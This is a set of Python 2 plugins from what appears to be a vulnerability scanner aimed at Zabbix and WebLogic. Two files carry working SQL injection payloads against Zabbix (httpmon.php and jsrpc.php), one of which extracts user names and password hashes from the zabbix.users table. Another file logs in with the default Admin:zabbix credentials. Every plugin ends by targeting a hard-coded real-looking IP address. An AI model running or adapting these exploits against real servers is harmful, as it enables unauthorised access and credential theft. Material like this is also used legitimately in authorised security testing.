52 | del res
53 | for flag in flag_list:
54 | if flag in res_html:
55 | info = '%s/console Weblogic Weak password %s:%s'%(target_url,user,password)
56 | result['result']=True
57 | result['VerifyInfo'] = {}
58 | result['VerifyInfo']['type']='console Weblogic Weak password'
59 | result['VerifyInfo']['URL'] =target_url
60 | result['VerifyInfo']['payload']=target_url+"/console/login/LoginForm.jsp"
61 | result['VerifyInfo']['result'] =info
62 | return result
63 | return result
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 | if __name__ == '__main__':
72 | print P().verify(ip='125.69.90.234',port='7001')
--------------------------------------------------------------------------------
/middileware/zabbix/__init__.py:
--------------------------------------------------------------------------------
1 | KEYWORDS = ['zabbix', ]
2 | def rules(head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
3 | if 'zabbix' in hackinfo or 'zabbix' in context:
4 | return True
5 | else:
6 |
7 | return False
--------------------------------------------------------------------------------
/middileware/zabbix/t.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 |
4 |
5 | class T(object):
6 | def __init__(self):
7 |
8 | self.result = {
9 | 'type': None,
10 | 'version': None,
11 | }
12 | self.keywords = []
13 | self.versions = []
14 | def match_rule(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo='', **kw):
15 | ##
16 | #head 返回的请求头
17 | #context 返回请求正文html代码
18 | #ip 请求ip
19 | #port 请求端口
20 | #productname 请求的组件产品
21 | #keywords 暂时已知的关键词组件
22 | #hackinfo 备用字段
23 |
24 |
25 |
26 |
27 | return True
28 |
29 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
30 | result = {}
31 | result['result']=False
32 | return result
33 | def attack(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
34 | result = {}
35 | result['result']=False
36 | return result
37 | def parse_output(self, result):
38 | result = {}
39 | result['result']=False
40 | return result
--------------------------------------------------------------------------------
/middileware/zabbix/zabbix_sqlhack.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 |
4 |
5 | from t import T
6 |
7 |
8 |
9 |
10 | class P(T):
11 | def __init__(self):
12 | T.__init__(self)
13 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
14 | timeout=3
15 | target_url = 'http://'+ip+':'+port
16 | result = {}
17 | res=None
18 |
19 | result['result']=False
20 | res_html=None
21 | vul_url = target_url + "/httpmon.php?applications=2%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
22 | try:
23 | res=urllib2.urlopen(vul_url,timeout=timeout)
24 | res_html = res.read()
25 | except:
26 | res_html=''
27 | finally:
28 | if res is not None:
29 | res.close()
30 |
31 | if "from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables" in res_html:
32 | info = vul_url + " zabbix"
33 | result['result']=True
34 | result['VerifyInfo'] = {}
35 | result['VerifyInfo']['type']='zabbix SQL Vul'
36 | result['VerifyInfo']['URL'] =target_url
37 | result['VerifyInfo']['payload']=vul_url
38 | result['VerifyInfo']['result'] =info
39 | return result
40 | else:
41 | vul_url = target_url + "/zabbix/httpmon.php?applications=2%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
42 | try:
43 | print vul_url
44 | res=urllib2.urlopen(vul_url,timeout=timeout)
45 | res_html = res.read()
46 |
47 | except:
48 | return result
49 | finally:
50 | if res is not None:
51 | res.close()
52 | del res
53 |
54 | if 'from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables' in res_html:
55 | info = vul_url + " zabbix"
56 | result['result']=True
57 | result['VerifyInfo'] = {}
58 | result['VerifyInfo']['type']='zabbix SQL Vul'
59 | result['VerifyInfo']['URL'] =target_url
60 | result['VerifyInfo']['payload']=vul_url
61 | result['VerifyInfo']['result'] =res_html
62 | return result
63 | return result
64 |
65 |
66 |
67 |
68 |
69 | if __name__ == '__main__':
70 | print P().verify(ip='124.202.152.197',port='80')
--------------------------------------------------------------------------------
/middileware/zabbix/zabbix_sqli_v2-3.03.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 |
4 |
5 | from t import T
6 |
7 |
8 |
9 |
10 | class P(T):
11 | def __init__(self):
12 | T.__init__(self)
13 | self.version='2.2.x,3.0.0-3.0.3'
14 |
15 | self.type = 'sqli'
16 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
17 | timeout=3
18 | target_url = 'http://'+ip+':'+port
19 | result = {}
20 | res=None
21 | payload="/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
22 | result['result']=False
23 | res_html=None
24 | vul_url = target_url + payload
25 | try:
26 | res=urllib2.urlopen(vul_url,timeout=timeout)
27 | res_html = res.read()
28 | except:
29 | res_html=''
30 | finally:
31 | if res is not None:
32 | res.close()
33 |
34 | if "ed733b8d10be225eceba344d533586" in res_html:
35 | info = vul_url + " zabbix "+self.version
36 | result['result']=True
37 | result['VerifyInfo'] = {}
38 | result['VerifyInfo']['type']='zabbix SQL Vul'
39 | result['VerifyInfo']['URL'] =target_url
40 | result['VerifyInfo']['payload']=vul_url
41 | result['VerifyInfo']['result'] =info
42 | result['VerifyInfo']['level'] = 'hole'
43 | return result
44 | else:
45 | vul_url = target_url + payload
46 | try:
47 | print vul_url
48 | res=urllib2.urlopen(vul_url,timeout=timeout)
49 | res_html = res.read()
50 |
51 | except:
52 | return result
53 | finally:
54 | if res is not None:
55 | res.close()
56 | del res
57 |
58 | if 'ed733b8d10be225eceba344d533586' in res_html:
59 | info = vul_url + " zabbix "+self.version
60 | result['result']=True
61 | result['VerifyInfo'] = {}
62 | result['VerifyInfo']['type']='zabbix SQL Vul'
63 | result['VerifyInfo']['URL'] =target_url
64 | result['VerifyInfo']['payload']=vul_url
65 | result['VerifyInfo']['result'] =res_html
66 | result['VerifyInfo']['level'] = 'hole'
67 | return result
68 | return result
69 |
70 |
71 |
72 |
73 |
74 | if __name__ == '__main__':
75 | print P().verify(ip='103.17.42.170',port='80')
--------------------------------------------------------------------------------
/middileware/zabbix/zabbix_weakpass.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 |
3 | import requests
4 | from bs4 import BeautifulSoup
5 | import base64,re
6 | from t import T
7 | def _get_static_post_attr(page_content):
8 | """
9 | 拿到的post参数,并return
10 | """
11 | _dict = {}
12 | soup = BeautifulSoup(page_content, "html.parser")
13 | for each in soup.find_all('input'):
14 | if 'value' in each.attrs and 'name' in each.attrs:
15 | _dict[each['name']] = each['value']
16 | return _dict
17 | class P(T):
18 | def __init__(self):
19 | T.__init__(self)
20 | def verify(self,head='',context='',ip='',port='',productname={},keywords='',hackinfo=''):
21 | timeout=10
22 | target_url = 'http://'+ip+':'+port
23 | result = {}
24 | result['result']=False
25 | r=None
26 | s = None
27 | h1 = {
28 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
29 | }
30 |
31 | h2 = {
32 | 'Referer': target_url.strip('\n'),
33 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
34 | }
35 |
36 | blacklist = [
37 | 'incorrect',
38 | '',
39 |
40 | ]
41 | try:
42 | s = requests.session()
43 | c = s.get(target_url, timeout=10, headers=h1)
44 | dic = _get_static_post_attr(c.content)
45 | dic['name'] = 'Admin'
46 | dic['password'] = 'zabbix'
47 | # print dic
48 | r = s.post(target_url + '/index.php', data=dic, headers=h2, timeout=10)
49 | print r.content
50 | if 'chkbxRange.init();' in r.content:
51 | for each in blacklist:
52 | if each in r.content:
53 | return result
54 | else:
55 | info = ' zabbix Weak password Admin:zabbix'
56 |
57 | result['result'] = True
58 | result['VerifyInfo'] = {}
59 | result['VerifyInfo']['type'] = 'Tomcat Weak password'
60 | result['VerifyInfo']['URL'] = target_url
61 | result['VerifyInfo']['result'] = info
62 | except Exception, e:
63 | print e
64 | finally:
65 | if r is not None:
66 | r.close()
67 | if s is not None:
68 | s.close()
69 | return result
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | if __name__ == '__main__':
82 | print P().verify(ip='180.235.64.209',port='8080')
--------------------------------------------------------------------------------